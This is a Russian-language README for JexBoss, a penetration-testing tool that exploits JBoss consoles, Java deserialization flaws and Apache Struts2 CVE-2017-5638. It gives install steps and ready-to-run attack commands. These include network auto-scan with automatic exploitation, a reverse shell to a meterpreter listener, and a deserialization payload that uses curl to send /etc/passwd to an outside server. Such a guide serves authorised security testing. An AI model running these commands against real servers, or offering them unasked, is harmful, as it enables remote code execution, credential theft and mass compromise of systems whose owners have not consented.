JexBoss — Инструмент для проверки и эксплуатации уязвимостей JBoss (и других Java-десериализаций)

JexBoss — это инструмент для тестирования и эксплуатации уязвимостей в JBoss Application Server и других Java-платформах, фреймворках, приложениях и т.д.

Требования

• Python >= 2.7.x
• urllib3
• ipaddress

Установка на Linux\Mac

Для установки последней версии JexBoss используйте следующие команды:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

ИЛИ:

Скачайте последнюю версию по адресу: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Если вы используете CentOS с Python 2.6, установите Python2.7. Пример установки Python 2.7 на CentOS с использованием Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Установка на Windows

Если вы используете Windows, вы можете использовать Git Bash для запуска JexBoss. Выполните следующие шаги:

• Скачайте и установите Python
• Скачайте и установите Git for Windows
• После установки запустите Git for Windows и введите следующие команды:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Возможности

Инструмент и эксплойты разработаны и протестированы для:

• JBoss Application Server версий: 3, 4, 5 и 6.
• Уязвимости десериализации Java во множестве Java-фреймворков, платформ и приложений (например, Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735) и т.д.)

Векторы эксплуатации:

• /admin-console
  • протестировано и работает на JBoss версиях 5 и 6
• /jmx-console
  • протестировано и работает на JBoss версиях 4, 5 и 6
• /web-console/Invoker
  • протестировано и работает на JBoss версиях 4, 5 и 6
• /invoker/JMXInvokerServlet
  • протестировано и работает на JBoss версиях 4, 5 и 6
• Десериализация приложений
  • протестировано и работает против множества Java-приложений, платформ и т.д. через HTTP POST параметры
• Десериализация сервлетов
  • протестировано и работает против множества Java-приложений, платформ и т.д. через сервлеты, обрабатывающие сериализованные объекты (например, когда вы видите «Invoker» в ссылке)
• Apache Struts2 CVE-2017-5638
  • протестировано на приложениях Apache Struts 2
• Другие

Видео

• Эксплуатация уязвимостей десериализации Java (RCE) на приложениях JSF/Seam через javax.faces.ViewState с помощью JexBoss

• Эксплуатация JBoss Application Server с помощью JexBoss

• Эксплуатация Apache Struts2 (RCE) с помощью JexBoss (CVE-2017-5638)

Скриншоты

• Примеры простого использования:

$ python jexboss.py

• Пример автономного режима против JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Режимы использования:

$ python jexboss.py -h

• Режим сканирования сети:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Режим сканирования сети с автоэксплуатацией:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Результаты и рекомендации:

Обратная оболочка (интеграция с meterpreter)

После эксплуатации сервера JBoss вы можете использовать собственную командную оболочку jexboss или выполнить обратное подключение с помощью следующей команды:

   jexremote=YOUR_IP:YOUR_PORT

   Пример:
     Shell>jexremote=192.168.0.10:4444

• Пример:

При эксплуатации уязвимостей десериализации Java (десериализация приложений, десериализация сервлетов) опции по умолчанию: создать обратное соединение оболочки или отправить команду для выполнения.

Примеры использования

• Для уязвимостей десериализации Java в пользовательском HTTP-параметре и отправки пользовательской команды для выполнения на атакованном сервере:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

• Для уязвимостей десериализации Java в пользовательском HTTP-параметре и создания обратной оболочки (запросит IP-адрес и порт вашего удалённого хоста):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• Для уязвимостей десериализации Java в сервлете (например, Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• Для Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• Для Apache Struts 2 (CVE-2017-5638) с куки для аутентифицированных ресурсов

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Режим автоматического сканирования:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• Режим сканирования из файла:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• Дополнительные опции: